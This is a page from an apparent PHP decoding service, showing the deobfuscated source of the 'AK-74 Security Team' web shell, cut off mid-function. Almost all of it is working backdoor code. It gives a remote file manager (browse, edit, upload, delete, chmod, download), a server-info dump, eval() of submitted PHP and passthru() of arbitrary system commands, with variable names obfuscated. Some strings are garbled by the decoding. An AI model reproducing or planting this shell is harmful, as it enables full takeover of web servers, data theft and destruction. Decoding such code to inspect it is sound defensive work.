Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"GLOBALS"}["iknpldrpigo"]="content";${"GLOBALS"}["olmwrdqid"]="timestart";${"GLOBALS..

Decoded Output download

<?      ${"GLOBALS"}["iknpldrpigo"]="content";${"GLOBALS"}["olmwrdqid"]="timestart";${"GLOBALS"}["fdxvupxbx"]="shell";${"GLOBALS"}["shdxowcvsq"]="fp";${"GLOBALS"}["kdhmhcnuk"]="files";${"GLOBALS"}["hdyzecu"]="number";${"GLOBALS"}["gyyylpy"]="content";${"GLOBALS"}["cvvtiemv"]="dirs";${"GLOBALS"}["kqhombvoisgz"]="xshell";${"GLOBALS"}["nwkrhqdzrcw"]="res";${"GLOBALS"}["fzszjgc"]="info";${"GLOBALS"}["fvyvgcirdxx"]="path";${"GLOBALS"}["pgctubg"]="perms";${"GLOBALS"}["kmdyudoev"]="sec";${"GLOBALS"}["xcglkyuot"]="dir";${"GLOBALS"}["hoyoqwd"]="mas";${"GLOBALS"}["vtpgxuvxbi"]="file";${"GLOBALS"}["dwjodtpv"]="handle";${"GLOBALS"}["wdyvqrczdgu"]="i";error_reporting(0);@set_time_limit(0);session_start();${"xshell"}=${"SERVER_"}["PHP_SELF"];class shell{function getfiles(){${"GLOBALS"}["qzgebdlknl"]="mas";${"mas"}=array();${${"GLOBALS"}["wdyvqrczdgu"]}=0;if(${${"GLOBALS"}["dwjodtpv"]}=opendir($_SESSION["currentdir"])){${"GLOBALS"}["qmdtpcoeduj"]="handle";${"GLOBALS"}["zoaynvkz"]="file";while(false!==(${${"GLOBALS"}["zoaynvkz"]}=readdir(${${"GLOBALS"}["qmdtpcoeduj"]}))){if(${${"GLOBALS"}["vtpgxuvxbi"]}!=".."){if(!is_dir($_SESSION["currentdir"]."/".${${"GLOBALS"}["vtpgxuvxbi"]})){${"GLOBALS"}["sntlhgwvrnz"]="file";${"GLOBALS"}["mpyjuxikn"]="i";${${"GLOBALS"}["hoyoqwd"]}[${"i"}]["filename"]=${"file"};${"GLOBALS"}["nhauqglig"]="mas";${"mas"}[${"i"}]["filesize"]=filesize($_SESSION["currentdir"]."/".${${"GLOBALS"}["vtpgxuvxbi"]});${${"GLOBALS"}["nhauqglig"]}[${${"GLOBALS"}["mpyjuxikn"]}]["lastmod"]=date("H.i/d.m.Y",filemtime($_SESSION["currentdir"]."/".${${"GLOBALS"}["sntlhgwvrnz"]}));${"i"}++;}}}closedir(${${"GLOBALS"}["dwjodtpv"]});}return${${"GLOBALS"}["qzgebdlknl"]};}function getdirs(){${"GLOBALS"}["mscjpo"]="mas";${${"GLOBALS"}["mscjpo"]}=array();if(${${"GLOBALS"}["dwjodtpv"]}=opendir($_SESSION["currentdir"])){${"GLOBALS"}["hobugedqduo"]="dir";${"GLOBALS"}["xwlfufyf"]="handle";while(false!==(${${"GLOBALS"}["hobugedqduo"]}=readdir(${${"GLOBALS"}["xwlfufyf"]}))){${"GLOBALS"}["iebmlxxk"]="dir";if(${${"GLOBALS"}["xcglkyuot"]}!=&&is_dir($_SESSION["currentdir"]."/".${${"GLOBALS"}["iebmlxxk"]}))${"mas"}[]=${"dir"};}closedir(${${"GLOBALS"}["dwjodtpv"]});}return${"mas"};}function geturl(){if($_SESSION["currentdir"]."/"==$_SERVER["DOCUMENT_ROOT"])return"/";if(strpos($_SESSION["currentdir"],str_replace("\","/",$_SERVER["DOCUMENT_ROOT"]))===false)return"";return str_replace($_SERVER["DOCUMENT_ROOT"],"",$_SESSION["currentdir"]."/");}function removefile(){if(file_exists($_GET["file"])){chmod($_GET["file"],0777);if(unlink($_GET["file"]))return"File deleted!";else return"File deleted!";}else return"File not found!";}function removedir(){chmod($_GET["dir"],0777);if(rmdir($_GET["dir"]))return"Directory deleted!";else return"Directory not found!";}function getmicrotime(){${"GLOBALS"}["azoxuqxbstyx"]="sec";${"GLOBALS"}["gpoxftmel"]="usec";list(${"usec"},${${"GLOBALS"}["azoxuqxbstyx"]})=explode(" ",microtime());return((float)${${"GLOBALS"}["gpoxftmel"]}+(float)${${"GLOBALS"}["kmdyudoev"]});}function getpermission($path){${${"GLOBALS"}["pgctubg"]}=fileperms(${${"GLOBALS"}["fvyvgcirdxx"]});${"GLOBALS"}["uchwntfz"]="info";${"GLOBALS"}["jckaac"]="perms";if((${${"GLOBALS"}["pgctubg"]}&0xC000)==0xC000)${"info"}="s";elseif((${${"GLOBALS"}["pgctubg"]}&0xA000)==0xA000)${"info"}="l";elseif((${"perms"}&0x8000)==0x8000)${${"GLOBALS"}["fzszjgc"]}="-";elseif((${"perms"}&0x6000)==0x6000)${${"GLOBALS"}["fzszjgc"]}="b";elseif((${"perms"}&0x4000)==0x4000)${"info"}="d";elseif((${${"GLOBALS"}["pgctubg"]}&0x2000)==0x2000)${"info"}="c";elseif((${"perms"}&0x1000)==0x1000)${${"GLOBALS"}["fzszjgc"]}="p";else${${"GLOBALS"}["fzszjgc"]}="u";${${"GLOBALS"}["uchwntfz"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0100)?"r":"-");${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0080)?"w":"-");${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0040)?((${${"GLOBALS"}["pgctubg"]}&0x0800)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0800)?"S":"-"));${"info"}.=((${${"GLOBALS"}["pgctubg"]}&0x0020)?"r":"-");${${"GLOBALS"}["fzszjgc"]}.=((${"perms"}&0x0010)?"w":"-");${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0008)?((${${"GLOBALS"}["jckaac"]}&0x0400)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0400)?"S":"-"));${"GLOBALS"}["xqayvij"]="perms";${${"GLOBALS"}["fzszjgc"]}.=((${${"GLOBALS"}["pgctubg"]}&0x0004)?"r":"-");${"info"}.=((${${"GLOBALS"}["xqayvij"]}&0x0002)?"w":"-");${"info"}.=((${${"GLOBALS"}["pgctubg"]}&0x0001)?((${${"GLOBALS"}["pgctubg"]}&0x0200)?"t":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0200)?"T":"-"));return${"info"};}function getpermissionarray($path){${"GLOBALS"}["ffvutedscs"]="perms";${${"GLOBALS"}["nwkrhqdzrcw"]}=array();${"GLOBALS"}["mospvgr"]="path";${${"GLOBALS"}["pgctubg"]}=fileperms(${${"GLOBALS"}["mospvgr"]});${"GLOBALS"}["secvlqatfohv"]="perms";${"GLOBALS"}["bzngcqtouq"]="perms";${"GLOBALS"}["aboxvtoyg"]="perms";${"GLOBALS"}["woyxpuac"]="res";${"GLOBALS"}["mdbgzpglccyj"]="perms";${"GLOBALS"}["vdddnl"]="res";if((${${"GLOBALS"}["pgctubg"]}&0xC000)==0xC000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="s";elseif((${${"GLOBALS"}["pgctubg"]}&0xA000)==0xA000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="l";elseif((${${"GLOBALS"}["pgctubg"]}&0x8000)==0x8000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="-";elseif((${${"GLOBALS"}["pgctubg"]}&0x6000)==0x6000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="b";elseif((${${"GLOBALS"}["aboxvtoyg"]}&0x4000)==0x4000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="d";elseif((${${"GLOBALS"}["pgctubg"]}&0x2000)==0x2000)${${"GLOBALS"}["nwkrhqdzrcw"]}[]="c";elseif((${${"GLOBALS"}["mdbgzpglccyj"]}&0x1000)==0x1000)${"res"}[]="p";else${${"GLOBALS"}["nwkrhqdzrcw"]}[]="u";${"GLOBALS"}["nfmqqbwyhr"]="perms";${${"GLOBALS"}["nwkrhqdzrcw"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0100)?"r":"-");${"GLOBALS"}["rmhkov"]="res";${${"GLOBALS"}["woyxpuac"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0080)?"w":"-");${${"GLOBALS"}["vdddnl"]}[]=((${${"GLOBALS"}["bzngcqtouq"]}&0x0040)?((${${"GLOBALS"}["secvlqatfohv"]}&0x0800)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0800)?"S":"-"));${${"GLOBALS"}["nwkrhqdzrcw"]}[]=((${${"GLOBALS"}["nfmqqbwyhr"]}&0x0020)?"r":"-");${${"GLOBALS"}["rmhkov"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0010)?"w":"-");${"res"}[]=((${${"GLOBALS"}["ffvutedscs"]}&0x0008)?((${"perms"}&0x0400)?"s":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0400)?"S":"-"));${"GLOBALS"}["gxyvyqrjw"]="perms";${"res"}[]=((${${"GLOBALS"}["gxyvyqrjw"]}&0x0004)?"r":"-");${${"GLOBALS"}["nwkrhqdzrcw"]}[]=((${${"GLOBALS"}["pgctubg"]}&0x0002)?"w":"-");${"res"}[]=((${"perms"}&0x0001)?((${${"GLOBALS"}["pgctubg"]}&0x0200)?"t":"x"):((${${"GLOBALS"}["pgctubg"]}&0x0200)?"T":"-"));return${"res"};}function outputhead(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv=\"Content-Type" content="text/html; charset=windows-1251\"></head>
<body>
<STYLE>
A:link {
	COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:active {
	COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:visited {
	COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:hover {
	COLOR: #C10000; TEXT-DECORATION: underline
}
TD {
	FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica
}
BODY {
	FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc; 
}
</STYLE>
<div align="center"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid">
 <tr>
  <td colspan=7 align="center\">
   <b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: 
::.</font></b>
  </td>
 </tr>";return${"res"};}function outputmenu(){${"GLOBALS"}["omlmyuabmc"]="res";${"GLOBALS"}["kzvefdrkoqf"]="res";${${"GLOBALS"}["omlmyuabmc"]}="";${${"GLOBALS"}["kzvefdrkoqf"]}.="<tr>
  <td colspan=7 align=\"center\">
   <table border=0 cellspacing=0 cellpadding=0>
    <tr align=\"center">
	 <td width=150>
	  <a href="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=info">General information</a>
	 </td>
	 <td width=150>
	  <a href="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager\">File manager</a>
	 </td>
	 <td width=80>
	  <a href="".${"xshell"}."?act=phpinfo" target=\"_blank\">phpinfo()</a>
	 </td>
	 <td width=110>
	  <a href="".${"xshell"}."?act=execute">Run PHP</a>
	 </td>
	 <td width=150>
	  <a href=\"".${"xshell"}."?act=exesys\">Execute the command</a>
	 </td>
      </tr>
   </table>
  </td>
 </tr>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function outputdown(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["srzeskty"]="res";${${"GLOBALS"}["srzeskty"]}.="</table></div></body></html>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function outputfilemanager(){${"GLOBALS"}["udmmztjca"]="xshell";${"GLOBALS"}["ychruqucrf"]="xshell";${"GLOBALS"}["vmuyoysyoe"]="res";${"GLOBALS"}["orpfxw"]="res";${"GLOBALS"}["tuwswjh"]="res";${"GLOBALS"}["acmzbxffk"]="res";${${"GLOBALS"}["acmzbxffk"]}="";${"GLOBALS"}["vdtvfpbhyru"]="number";${${"GLOBALS"}["vdtvfpbhyru"]}=0;${"GLOBALS"}["sejtvw"]="dirs";${${"GLOBALS"}["cvvtiemv"]}=$this->getdirs();${"files"}=$this->getfiles();${"GLOBALS"}["asxszifet"]="i";sort(${${"GLOBALS"}["sejtvw"]});sort(${"files"});${${"GLOBALS"}["nwkrhqdzrcw"]}.="
 <tr>
  <td colspan=7 align=\"center">
  <font color=#830000> The current directory:</font><b><font color=#830000>".$_SESSION["currentdir"]."</font></b>
  </td>
 </tr>
 <tr align=\"center">
  <td width=30>
   &nbsp;
  </td>
  <td width=330>
   &nbsp;
  </td>
  <td width=80><font color=#830000> ,</font> <b><font color=#830000>byte</font></b>
   &nbsp;
  </td>
  <td width=120><font color=#830000>
   Recent change
   </font>
  </td>
  <td width=80 align="center\"><font color=#830000>Access right</font>
   &nbsp;
  </td>
  <td width=30>
   &nbsp;
  </td>
  <td width=30>
   &nbsp;
  </td>
 </tr>";${"GLOBALS"}["wyqypgtjmi"]="i";for(${${"GLOBALS"}["asxszifet"]}=0;${"i"}<count(${"dirs"});${${"GLOBALS"}["wdyvqrczdgu"]}++){${"GLOBALS"}["vapieoe"]="res";${"GLOBALS"}["uvckfgaxtwdw"]="res";${"GLOBALS"}["wjjxsx"]="xshell";${"GLOBALS"}["bbrtstbve"]="dirs";${"GLOBALS"}["jeyjcbtlodsa"]="dirs";${"GLOBALS"}["ywnqtawj"]="i";${"GLOBALS"}["fxthzy"]="dirs";${${"GLOBALS"}["vapieoe"]}.="<tr><td><b><font color=#830000>".(++${${"GLOBALS"}["hdyzecu"]})."</font></b></td><td><b><a href="".${${"GLOBALS"}["wjjxsx"]}."?act=filemanager&dir=".${${"GLOBALS"}["cvvtiemv"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]."\">".${${"GLOBALS"}["fxthzy"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]."</a></b></td><td>&nbsp;</td><td>&nbsp;</td><td>";${${"GLOBALS"}["uvckfgaxtwdw"]}.="<a href="".${"xshell"}."?act=chmod&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["bbrtstbve"]}[${"i"}]."">".($this->getpermission($_SESSION["currentdir"]."/".${${"GLOBALS"}["jeyjcbtlodsa"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]))."</a>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="</td><td>&nbsp;</td><td><a href=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager&act3=del&dir=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["cvvtiemv"]}[${${"GLOBALS"}["ywnqtawj"]}]."">delete</a></td></tr>";}for(${"i"}=0;${${"GLOBALS"}["wdyvqrczdgu"]}<count(${${"GLOBALS"}["kdhmhcnuk"]});${${"GLOBALS"}["wyqypgtjmi"]}++){${"GLOBALS"}["gkyyblyqymf"]="i";${"GLOBALS"}["qwtxsjlqhhf"]="files";${"GLOBALS"}["tefzqpvhph"]="files";${"GLOBALS"}["omvsytrtatv"]="i";${"GLOBALS"}["ypsmanoevl"]="i";${"GLOBALS"}["tkghkgf"]="res";${"res"}.="<tr><td><b><font color=#830000>".(++${${"GLOBALS"}["hdyzecu"]})."</font></b></td>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td><a href=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=down&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["tefzqpvhph"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."">".${${"GLOBALS"}["qwtxsjlqhhf"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."</a></td>";${"res"}.="<td>&nbsp;&nbsp;".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filesize"]."</td>";${${"GLOBALS"}["tkghkgf"]}.="<td align=\"center\">".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["gkyyblyqymf"]}]["lastmod"]."</td>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td align="center\"><a href=\"".${"xshell"}."?act=chmod&file=".$_SESSION["currentdir"]."/".${"files"}[${${"GLOBALS"}["omvsytrtatv"]}]["filename"]."">".($this->getpermission($_SESSION["currentdir"]."/".${"files"}[${"i"}]["filename"]))."</a></td>";${"res"}.="<td align=\"center\"><a href=\"".${"xshell"}."?act=edit&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."">edit</a></td>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td align=\"center\"><a href=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager&act2=del&file=".$_SESSION["currentdir"]."/".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["ypsmanoevl"]}]["filename"]."">delete</a></td></tr>";}${"res"}.="</table><br>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 2px solid">";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<tr><td align=center><form action="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager" method="post"><input type=\"hidden\" name=\"action" value="mkdir\"><b><font color=#830000> :</b></font> </td><td><input type=\"text" name=\"dircreate\"><input type="submit\" value="\"></form></td></tr>";${${"GLOBALS"}["vmuyoysyoe"]}.="<tr><td align=center><form action="".${${"GLOBALS"}["ychruqucrf"]}."?act=filemanager" method="post\"><input type=\"hidden\" name="action" value=\"createfile\"><b><font color=#830000> :</b></font></td><td> <input type="text" name="filecreate"><input type="submit\" value=""></form></td></tr>";${${"GLOBALS"}["orpfxw"]}.="<tr><td align=center><form enctype="multipart/form-data" action="".${${"GLOBALS"}["udmmztjca"]}."?act=filemanager\" method=\"post"><input type="hidden\" name=\"action\" value=\"uploadfile\"><b><font color=#830000> :</font></b></td><td><input type=\"file\" name="filename" size=\"23\"> <b><font color=#830000>  </b></font></td><td> <input type=\"text" name="filename2\"><input type="submit\" value=\"\"></form></td></tr>";${${"GLOBALS"}["tuwswjh"]}.="<table border=0 width=\"700\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid">";${"res"}.="<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net\" target="_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${"res"};}function outputinfo(){${"res"}="";${"res"}.="<tr>
  <td align="center" colspan=7>
   <b><font color=#83000>General information about the server</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align=\"left\"><br>
   <ol>
    <b><font color=#830000>1. OS - </font></b><font color=#830000>".(php_uname())."</font><br><br>
    <b><font color=#830000>2.   PHP - </font></b><font color=#830000>".(phpversion())."</font><br><br>
    <b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - ".(get_current_user())." <b><font color=#830000>|| User ID</font></b> - ".(getmyuid())." <b><font color=#830000>|| Group ID</b></font> - ".(getmygid())."</font><br><br>
    <b><font color=#830000>4. Server Software - </font></b><font color=#830000>".(getenv("SERVER_SOFTWARE"))."</font><br><br>
    <b><font color=#830000>5. Request Method - </font></b><font color=#830000>".(getenv("REQUEST_METHOD"))."</font><br><br>
    <b><font color=#830000>6. Server IP - </font></b><font color=#830000>".(getenv("SERVER_ADDR"))."</font><br><br>
    <b><font color=#830000>7. Your IP - </font></b><font color=#830000>".(getenv("REMOTE_ADDR"))."</font><br><br>
	<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>".(getenv("HTTP_X_FORWARDED_FOR"))."</font><br><br>
</td>
 </tr>
 <table border=0 width="555\" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid\">
<tr><td align=center><b><font color=#83000>Copyright </font><a href=\"http://ak74-team.net" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function chmodform($file){${"GLOBALS"}["nwfedck"]="perms";${${"GLOBALS"}["pgctubg"]}=$this->getpermissionarray(${"file"});${"GLOBALS"}["ynokejbtuh"]="perms";${"GLOBALS"}["ngqiunigukfh"]="perms";${"GLOBALS"}["ykexebt"]="res";${"GLOBALS"}["pefltgfgwzb"]="i";${"res"}="";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<form action=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager" method="post\"><input type=\"hidden\" name=\"action\" value="chmod"><input type="hidden" name=\"file" value=\"".${"file"}."\">
 <tr>
  <td align="center\" colspan=7>
   <b><font color=#83000>Changing access permissions</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center\">
   <table border=1 cellspacing=0 cellpadding=0>";${"res"}.="<tr align=\"center\"><td>&nbsp;</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td></tr>";${"GLOBALS"}["yggjmwlv"]="res";${${"GLOBALS"}["nwkrhqdzrcw"]}.="<tr><td><input type=\"hidden\" name="perms0" value=\"".${${"GLOBALS"}["ngqiunigukfh"]}[0]."\">".${${"GLOBALS"}["ynokejbtuh"]}[0]."</td>";for(${"i"}=1;${${"GLOBALS"}["wdyvqrczdgu"]}<=9;${${"GLOBALS"}["pefltgfgwzb"]}++)${${"GLOBALS"}["nwkrhqdzrcw"]}.="<td><input type=\"checkbox\" name=\"perms".${"i"}."\"".((${${"GLOBALS"}["nwfedck"]}[${"i"}]!="-")?" checked":"")."></td>";${${"GLOBALS"}["ykexebt"]}.="</tr><tr><td colspan=10 align=\"right\"><input type=\"submit\" value=\"Save"></td></tr>";${${"GLOBALS"}["yggjmwlv"]}.="</table></td></tr></form>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function editfileform($file){${"GLOBALS"}["wcqoifupsbh"]="file";${${"GLOBALS"}["shdxowcvsq"]}=fopen(${${"GLOBALS"}["vtpgxuvxbi"]},"r");if(!${${"GLOBALS"}["shdxowcvsq"]})return"  ";${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["ryysceaq"]="res";${"GLOBALS"}["yjdeuf"]="res";${"GLOBALS"}["kwyxxau"]="file";${"res"}.="<form action=\"".${${"GLOBALS"}["kqhombvoisgz"]}."?act=filemanager" method=\"post\"><input type="hidden\" name="action\" value="editfile"><input type="hidden\" name=\"file\" value=\"".${${"GLOBALS"}["wcqoifupsbh"]}."\"><tr>
  <td align=\"center" colspan=7>
   <b><font color=#83000>Edit the file</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align=\"center">
   <table border=1 cellspacing=0 cellpadding=0>";${${"GLOBALS"}["ryysceaq"]}.="<tr><td><textarea rows=25 cols=100 name="filecontent">".(htmlspecialchars(fread(${"fp"},filesize(${${"GLOBALS"}["kwyxxau"]}))))."</textarea></td></tr>";${${"GLOBALS"}["yjdeuf"]}.="<tr><td align=\"right"><b><font color=#830000>Rename:</font></b> <INPUT TYPE=TEXT NAME=rename size=100 maxlength=9999999 value=".${${"GLOBALS"}["vtpgxuvxbi"]}."> - <input type="submit" value=\"Edit"></td></tr>";${${"GLOBALS"}["nwkrhqdzrcw"]}.="</table></td></tr></form>";fclose(${"fp"});return${"res"};}function executeform(){${"GLOBALS"}["gbbivqermof"]="xshell";${"GLOBALS"}["jcoxegkjqmx"]="res";${${"GLOBALS"}["nwkrhqdzrcw"]}="";${${"GLOBALS"}["jcoxegkjqmx"]}.="<form action="".${${"GLOBALS"}["gbbivqermof"]}."?act=execute" method="post"><input type="hidden" name="action\" value="execute">
 <tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Executing PHP code<br> Opening and closing PHP code ( &lt;?  ) no need to write!</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center\">
   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=20 cols=80 name=\"phpcode\">";${${"GLOBALS"}["nwkrhqdzrcw"]}.="</textarea></td></tr><tr><td align="right"><input type="submit\" value="\"></td></tr></table></td></tr>
 <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style=\"border: #C10000 1px solid\">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target=\"_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function execute(){echo"<hr>";echo"<pre>";eval(stripslashes($_POST["phpcode"]));echo"</pre>";echo"<hr>";}function exesysform(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["lmwlmrqw"]="res";${"GLOBALS"}["ubwopher"]="res";${${"GLOBALS"}["lmwlmrqw"]}.="<form action="".${${"GLOBALS"}["kqhombvoisgz"]}."?act=exesys" method=\"post"><input type="hidden\" name=\"action" value=\"exesys">
 <tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Execute system commands!</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center\">
   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=5 cols=80 name="cmmd\">";${${"GLOBALS"}["ubwopher"]}.="</textarea></td></tr><tr><td align=\"right\"><input type=\"submit\" value=\"Perform\"></td></tr></table></td></tr>
 <table border=0 width=\"555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="https://www.r57.gen.tr/" title=\"r57.gen.tr">r57.gen.tr</a> - <a href=\"http://ak74-team.net" target="_blank\">AK-74 Security Team<a> <font color=#83000>2005 - ".date("Y")."</font></b></td></tr>";return${"res"};}function exesys(){${"GLOBALS"}["yvcpokfc"]="result";echo"<hr>";echo"<pre>";${${"GLOBALS"}["yvcpokfc"]}=passthru($_POST["cmmd"]);echo"</pre>";echo"<hr>";}function editfile($file){if(!empty($_POST["rename"])){rename($_POST["file"],$_POST["rename"]);}${${"GLOBALS"}["shdxowcvsq"]}=fopen($_POST["rename"],"w");if(!${${"GLOBALS"}["shdxowcvsq"]})return 0;fwrite(${${"GLOBALS"}["shdxowcvsq"]},stripslashes($_POST["filecontent"]));fclose(${${"GLOBALS"}["shdxowcvsq"]});return 1;}function chmodfile($file){${"GLOBALS"}["pufgvr"]="res";${"GLOBALS"}["ikiudyniptdh"]="res";${"GLOBALS"}["lzykxw"]="res";${"res"}=0;switch($_POST["perms0"]){case"s":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0xC000;break;case"l":${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0xA000;break;case"-":${"res"}=${"res"}|0x8000;break;case"b":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x6000;break;case"d":${${"GLOBALS"}["pufgvr"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x4000;break;case"c":${${"GLOBALS"}["lzykxw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x2000;break;case"p":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x1000;break;case"u":break;}${"GLOBALS"}["xeomnnbyudw"]="res";if(isset($_POST["perms1"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0100;if(isset($_POST["perms2"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0080;if(isset($_POST["perms3"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0040;if(isset($_POST["perms4"]))${"res"}=${${"GLOBALS"}["xeomnnbyudw"]}|0x0020;if(isset($_POST["perms5"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0010;if(isset($_POST["perms6"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0008;if(isset($_POST["perms7"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0004;if(isset($_POST["perms8"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0002;if(isset($_POST["perms9"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["ikiudyniptdh"]}|0x0001;echo substr(sprintf("%o",${${"GLOBALS"}["nwkrhqdzrcw"]}),-4);return chmod(${${"GLOBALS"}["vtpgxuvxbi"]},intval(substr(sprintf("%o",${${"GLOBALS"}["nwkrhqdzrcw"]}),-4),8));}function downloadfile($file){header("Content-Type: application/octet-stream");header("Content-Length: ".filesize(${${"GLOBALS"}["vtpgxuvxbi"]}));header("Content-Disposition: attachment; filename=$file");readfile(${"file"});die();}function createdir(){if(!empty($_POST["dircreate"])){if(mkdir($_SESSION["currentdir"]."/".$_POST["dircreate"]))return"Directory created!";}return"Error creating directory";}function createfile(){if(!empty($_POST["filecreate"])){${"GLOBALS"}["lwhsyzdtepf"]="fp";if(file_exists($_SESSION["currentdir"]."/".$_POST["filecreate"]))return"  ";${${"GLOBALS"}["shdxowcvsq"]}=fopen($_SESSION["currentdir"]."/".$_POST["filecreate"],"w");if(${${"GLOBALS"}["lwhsyzdtepf"]}){fclose(${"fp"});return" !";}}return"Error creating file";}function 